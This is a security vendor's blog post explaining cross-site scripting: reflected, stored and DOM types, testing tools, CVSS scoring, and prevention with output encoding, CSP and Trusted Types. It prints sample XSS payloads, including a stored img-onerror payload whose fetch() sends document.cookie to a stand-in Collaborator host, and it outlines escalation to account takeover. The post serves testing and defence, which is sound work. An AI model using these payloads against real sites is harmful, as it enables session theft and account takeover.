Strobesstrobes
Platform
Solutions
Resources
Customers
Company
Pricing
Book a Demo
Strobesstrobes

Strobes connects every exposure signal to autonomous action, so security teams fix what matters, prove what works, and stop chasing noise.

Book a DemoTalk to an expert
ISO 27001SOC 2CREST
  • Platform
  • Platform Overview
  • Agentic Exposure Management
  • AI Agents
  • Integrations
  • API & Developers
  • Workflows & Automation
  • Analytics & Reporting
  • Solutions
  • Exposure Assessment (EAP)
  • Attack Surface Management
  • Application Security Posture
  • Risk-Based Vulnerability Management
  • Adversarial Exposure Validation (AEV)
  • AI Pentesting
  • Pentesting as a Service
  • CTEM Framework
  • By Industry
  • Financial Institutions
  • Technology
  • Retail
  • Healthcare
  • Manufacturing
  • By Roles
  • CISOs
  • Security Directors
  • Cloud Security Leaders
  • App Sec Leaders
  • Resources
  • Quick Agentic Pentest
  • Blog
  • Customer Stories
  • eBooks
  • Datasheets
  • Videos & Demos
  • Exposure Management Academy
  • CTEM Maturity Assessment
  • Pentest Health Check
  • Security Tool ROI Calculator
  • Company
  • About Strobes
  • Meet the Team
  • Trust & Security
  • Contact Us
  • Careers
  • Become a Partner
  • Technology Partner
  • Partner Deal Registration
  • Press Release

Weekly insight for security leaders

CTEM research, agentic AI trends, and what's actually moving the needle.

© 2026 Strobes Security Inc. All rights reserved.

Privacy PolicyTerms of ServiceCookie PolicyAccessibilitySitemap
Back to Blog
XSS Explained: Types, Testing, and Prevention
Application SecurityOWASP

XSS Explained: Types, Testing, and Prevention

Likhil ChekuriFebruary 9, 20257 min read

Table of Contents

  • What is cross site scripting (XSS)?
  • What are the types of XSS?
  • Reflected and DOM XSS take different vectors, not just different payloads.
  • What does a confirmed XSS exploit actually look like?
  • Stored XSS outranks reflected for a reason.
  • What do scanners get wrong about XSS?
  • How do you prevent XSS?
  • Frequently asked questions
  • Sources and references

Authors

L
Likhil Chekuri

Share

Table of Contents

  • What is cross site scripting (XSS)?
  • What are the types of XSS?
  • Reflected and DOM XSS take different vectors, not just different payloads.
  • What does a confirmed XSS exploit actually look like?
  • Stored XSS outranks reflected for a reason.
  • What do scanners get wrong about XSS?
  • How do you prevent XSS?
  • Frequently asked questions
  • Sources and references

Authors

L
Likhil Chekuri

Share

TL;DR
  • ✓Cross Site Scripting (XSS) runs attacker-controlled script in another user's browser, inside their origin and session, which is enough to steal cookies, act as them, or rewrite the page.
  • ✓Three core types behave differently: reflected (payload echoed from the request), stored (persisted and served to others), and DOM-based (a source reaches a sink entirely client-side).
  • ✓XSS sits inside A03:2021 Injection and is tested under WSTG-INPV-01 (reflected), WSTG-INPV-02 (stored), and WSTG-CLNT-01 (DOM).
  • ✓alert(1) proves execution; a stolen session cookie or an authenticated action proves severity, which is what moves stored XSS to High or Critical on CVSS.
  • ✓Prevention is context-aware output encoding first, then a strict nonce-based CSP and Trusted Types; a WAF that blocks <script> is not prevention.

Here is the uncomfortable truth about XSS in 2026: the bug everyone calls "just an alert box" is the same bug that hijacks an admin session and rewrites a banking page. XSS means your script runs in someone else's browser, inside their origin and with their session, and that is the whole game. The popup is a proof of execution, not a proof of impact, and conflating the two is why so many XSS findings get under-rated.

This guide separates the three types by how the payload reaches the victim, shows the exact vectors and the tools that find each (Burp Suite, dalfox, XSStrike, dev-tools tracing), maps them to the OWASP Top 10 and WSTG, and lays out the encoding plus CSP and Trusted Types controls that genuinely hold. XSS lives under A03:2021 Injection and WSTG-INPV-01/02 and WSTG-CLNT-01.

Table of contents
  1. What is cross site scripting (XSS)?
  2. What are the types of XSS?
  3. Reflected and DOM XSS take different vectors, not just different payloads.
  4. What does a confirmed XSS exploit actually look like?
  5. Stored XSS outranks reflected for a reason.
  6. What do scanners get wrong about XSS?
  7. How do you prevent XSS?

What is cross site scripting (XSS)?

XSS is a vulnerability that lets an attacker inject client-side script into content served to other users, so the browser executes attacker code as if the site wrote it. Because the script runs in the victim's origin, it can read cookies and DOM-stored tokens, make authenticated requests, log keystrokes, or fully rewrite the page for phishing.

The root cause never changes: untrusted input reaches an output context (HTML body, an attribute, a JavaScript string, a URL) without the right encoding for that context. The differences between XSS types come down to where the payload travels before it executes, which is why understanding the types changes how you test. XSS is a fixture of the OWASP Top 10 under A03 Injection.

What are the types of XSS?

There are three primary types of XSS, separated by how the payload reaches the victim: reflected, stored, and DOM-based. A fourth label, blind XSS, is just stored XSS that fires in a context you cannot see, like an admin log viewer.

  • Reflected XSS (WSTG-INPV-01): the payload is in the request (a query parameter) and echoed straight back in the response. It needs the victim to open a crafted link.
  • Stored XSS (WSTG-INPV-02): the payload is saved server-side (a comment, profile field, support ticket) and served to every user who views it. Highest impact because no per-victim link is needed.
  • DOM-based XSS (WSTG-CLNT-01): the bug lives entirely in client-side JavaScript; a source like location.hash flows into a sink like innerHTML without the server ever seeing the payload.
Reflected vs Stored vs DOM-based XSS
TypeWhere payload livesUser interactionWSTG ID
ReflectedIn the request, echoed in responseVictim clicks crafted linkWSTG-INPV-01
StoredPersisted server-side, served to allNone neededWSTG-INPV-02
DOM-basedClient-side JS source to sinkOften via crafted URL fragmentWSTG-CLNT-01

Reflected and DOM XSS take different vectors, not just different payloads.

The reflected case is server-side: you send a payload in the request and look for it unencoded in the HTML the server returns. The DOM case is client-side: the server response is identical for every user, and the bug only appears when JavaScript copies an attacker-controlled source into a dangerous sink. They need different hunting techniques, so testing them the same way is how DOM XSS gets missed.

# REFLECTED: payload travels in the request, echoed by the SERVER
GET /search?q=%22%3E%3Csvg%20onload%3Dalert(document.domain)%3E HTTP/1.1

HTTP/1.1 200 OK
<input value=""><svg onload=alert(document.domain)>">     <-- server echoed it raw

# DOM-BASED: server never sees the payload (it's after the #)
https://app.target.tld/profile#name=<img src=x onerror=alert(document.domain)>

// vulnerable client code, found by reading the JS, not the response:
const name = decodeURIComponent(location.hash.split('=')[1]);
document.getElementById('greeting').innerHTML = 'Hi ' + name;   // <-- hash -> innerHTML sink

Note that the DOM payload sits after the #, so it is never sent to the server and never appears in any server log or WAF. You find it by tracing sources (location, document.referrer, postMessage) to sinks (innerHTML, eval, document.write) in dev tools. For the reflected side, dalfox url "https://target/search?q=FUZZ" automates context detection. Both belong in your web app test cases and fit the broader OWASP WSTG methodology.

What does a confirmed XSS exploit actually look like?

A confirmed XSS shows your payload executing and exfiltrating something only running script could reach, not just reflected as inert text. A stored case in a comment field that renders unencoded is the cleanest proof of cross-user impact:

# Stored payload POSTed to /comments
<img src=x onerror="fetch('https://YOUR-ID.oastify.com/c?'+document.cookie)">

# Rendered back to EVERY viewer of the thread:
<div class="comment"><img src=x onerror="fetch('https://YOUR-ID.oastify.com/c?'+document.cookie)"></div>

# Your Collaborator log then shows, from a different IP:
GET /c?session=eyJhbGciOiJIUzI1NiIsInR5cCI6...   <-- a real victim session, not yours

The inbound request carrying a real session cookie from another IP is the proof of impact. If HttpOnly blocks cookie theft, escalate: read the page DOM, pull the anti-CSRF token, and chain a state-changing request (change-email, add-admin) as the victim. Demonstrating account takeover, not a popup, is what moves a stored XSS to High or Critical on CVSS. Stored and reflected map to WSTG tests WSTG-INPV-02 and WSTG-INPV-01.

Stored XSS outranks reflected for a reason.

Stored XSS is generally the most severe type because the payload is served to every user who views the affected content, with no need to trick anyone into clicking a crafted link. A single injected comment or profile field hits thousands of sessions automatically, and it frequently lands in privileged contexts, an admin dashboard rendering user-submitted data, where stealing a session means staff account takeover.

That changes both impact and exploitability in the CVSS vector. Reflected XSS requires social engineering to deliver the malicious URL and carries a user-interaction requirement that drags its score down. Stored XSS drops the attack-complexity and user-interaction values, so it routinely scores a full band higher. On a recent assessment of a SaaS helpdesk, a stored payload in a ticket subject fired the moment a support agent opened the queue, handing us an authenticated staff session before we had finished writing the request up.

XSS Severity, Honestly Scored
6.1
typical reflected XSS CVSS (needs a click)
8.8+
stored XSS hitting an admin session
0
DOM XSS payloads that reach a server-side WAF
A03
OWASP Top 10 2021 Injection category

What do scanners get wrong about XSS?

Scanners over-report reflected XSS and under-report the DOM and stored variants that matter most. The classic false positive is a payload reflected into a context where it cannot execute, an HTML comment, a JSON response served as application/json, or a correctly quote-encoded attribute, which the tool flags because it saw the string echoed back. Always confirm execution in a real browser; a reflection is not an XSS.

The false negatives hurt more. DOM XSS lives entirely in client-side JavaScript, so a scanner watching HTTP responses never sees the location.hash to innerHTML sink. Blind stored XSS that fires in an admin log viewer needs an out-of-band callback to detect at all. And modern apps that build markup with template literals or document.write in a bundled script defeat naive payload matching. I keep dalfox and Burp Suite for fast fuzzing of reflected sinks, but the DOM findings come from manually tracing sources to sinks. Pairing the scan with manual review, the way continuous agentic pentesting does, is what keeps the dangerous variants from slipping.

How do you prevent XSS?

Prevent XSS with context-aware output encoding as the primary control, then layer a strict CSP and safe DOM APIs on top. Encode every piece of untrusted data for the exact context it lands in: HTML-entity-encode for body text, attribute-encode inside attributes, JavaScript-encode inside script. React and Angular do most of this automatically as long as you avoid escape hatches like dangerouslySetInnerHTML.

For DOM XSS, prefer textContent over innerHTML and never feed untrusted input to eval or document.write. Then add a nonce-based CSP plus Trusted Types, which beats an allowlist because it cannot be bypassed by a JSONP endpoint or an open redirect on a trusted host:

Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic';
  object-src 'none'; base-uri 'none'; require-trusted-types-for 'script'

The require-trusted-types-for 'script' directive makes the browser refuse to assign a raw string to innerHTML at all, which kills most DOM sinks at the source. Encoding stops the bug; CSP and Trusted Types limit the blast radius if one slips through. Do not rely on a WAF blocking <script>; the bypass corpus (event handlers, SVG, encoded entities, mutation XSS) is effectively infinite.

Sample XSS Findings Excerpt
FindingSeverity (CVSS)EvidenceRemediation
Stored XSS in ticket subject (WSTG-INPV-02, A03)8.8 Highonerror fetch exfiltrated an agent session to CollaboratorOutput-encode on render; nonce CSP; Trusted Types
DOM XSS via location.hash (WSTG-CLNT-01)6.5 Mediumhash -> innerHTML sink executed; never hit serverUse textContent; require-trusted-types-for 'script'
Reflected XSS in search q (WSTG-INPV-01, A03)6.1 Medium&lt;svg onload&gt; broke out of value="" attributeContext-aware attribute encoding
CSP with unsafe-inline (A05)4.3 Mediumscript-src 'unsafe-inline' nullifies the policySwitch to nonce + strict-dynamic, drop unsafe-inline

Frequently asked questions

What is the difference between reflected and stored XSS?
Reflected XSS echoes a payload from the current request straight back in the response, so it needs the victim to open a crafted link. Stored XSS persists the payload server-side and serves it to everyone who views the content, requiring no per-victim link and usually scoring a full severity band higher.
What is DOM-based XSS?
DOM-based XSS happens entirely in client-side JavaScript. A source the attacker controls, like location.hash or document.referrer, flows into a dangerous sink such as innerHTML or eval without the server ever processing the payload. You find it by reading the JavaScript, not the server responses.
Which OWASP category does XSS fall under?
XSS is part of A03:2021 Injection in the OWASP Top 10. Earlier lists had a dedicated XSS entry, but the 2021 revision merged it into the broader injection category. In WSTG it is tested under WSTG-INPV-01, WSTG-INPV-02, and WSTG-CLNT-01.
What tools are best for testing XSS?
Burp Suite is the core proxy for manual testing and replay. dalfox and XSStrike automate payload fuzzing and context detection for reflected and stored cases, while the browser developer tools let you trace DOM sources and sinks for client-side XSS. Most engagements combine manual review with these scanners.
Does a Content-Security-Policy stop XSS?
A strict nonce-based CSP greatly reduces XSS impact by blocking inline and unauthorized scripts, but it is defense in depth, not a fix. The primary control is still context-aware output encoding. A CSP with unsafe-inline or a permissive script-src offers almost no protection.
What are Trusted Types and do they stop DOM XSS?
Trusted Types is a browser feature, enabled with require-trusted-types-for 'script' in a CSP, that forbids assigning a raw string to dangerous DOM sinks like innerHTML. It forces code through a sanitizing policy first, which neutralizes most DOM XSS sinks at the source rather than relying on payload filtering.

Sources and references

  • OWASP WSTG: Testing for Reflected XSS (WSTG-INPV-01)
  • OWASP XSS Prevention Cheat Sheet
  • PortSwigger Web Security Academy: XSS
L
Likhil Chekuri
Application Security Engineer, Strobes
Likhil Chekuri is an AppSec engineer at Strobes who has run hundreds of web, mobile, and cloud penetration tests for regulated industries.
Tags
Web SecurityXSSOWASP

Stop chasing vulnerabilities Start reducing exposure

See how Strobes AI agents validate and fix your most critical exposures automatically.

Book a Demo
Continue Reading

Related Posts

Vulnerability validation: why most of your scanner backlog is noise - Strobes
Exposure ValidationApplication Security

Vulnerability Validation: Why Most of Your Scanner Backlog Is Noise

Vulnerability validation proves which scanner findings are real, reachable, and exploitable. Why manual triage fails and how agentic validation scales.

Jun 9, 202619 min
How to pentest single-page applications - React, Angular and Vue SPA security testing guide
Penetration TestingApplication Security

How to Pentest Single-Page Applications (React, Angular, Vue)

Learn how to pentest React, Angular, and Vue SPAs. Covers DOM XSS, client-side routing bypass, JS bundle secrets, and why traditional DAST scanners fail.

Jun 4, 202623 min
Bug bounty vs pentesting vs AI pentesting comparison featured image
Penetration TestingApplication Security

Bug Bounty vs. Pentesting vs. AI Pentesting: Which Model Fits Your AppSec Program?

Bug bounty vs pentesting vs AI pentesting: compare costs, coverage, compliance, and when to use each model. Build a layered AppSec testing strategy.

Jun 4, 202621 min